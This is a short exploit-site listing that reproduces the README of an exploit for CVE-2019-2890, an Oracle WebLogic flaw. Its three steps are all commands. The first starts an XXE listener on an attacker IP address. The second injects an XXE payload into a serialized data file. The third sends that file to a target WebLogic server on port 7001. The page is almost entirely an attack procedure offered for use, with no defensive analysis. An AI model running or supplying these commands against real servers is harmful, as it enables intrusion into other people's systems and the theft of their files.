Sploitus

Exploit for CVE-2019-2890

githubexploit · 2019-10-31

Exploit Code

README9 lines
## https://sploitus.com/exploit?id=692C0E40-73A7-5599-99C4-3C7EE6D03F6D
1) Enable the XXER tool  
`python xxer.py -H 192.168.17.223`

2) Place the XXER poc in the xx.xml file. Replace the serialized data with it, and inject the XXER poc into the xx.xml file.  
`java -jar weblogic_xxe.jar xx.xml`

3) Send data to the WebLogic server using the weblogic.py from the java-deserialization-exploit tool.  
`python weblogic.py 192.168.17.222 7001 weblogic`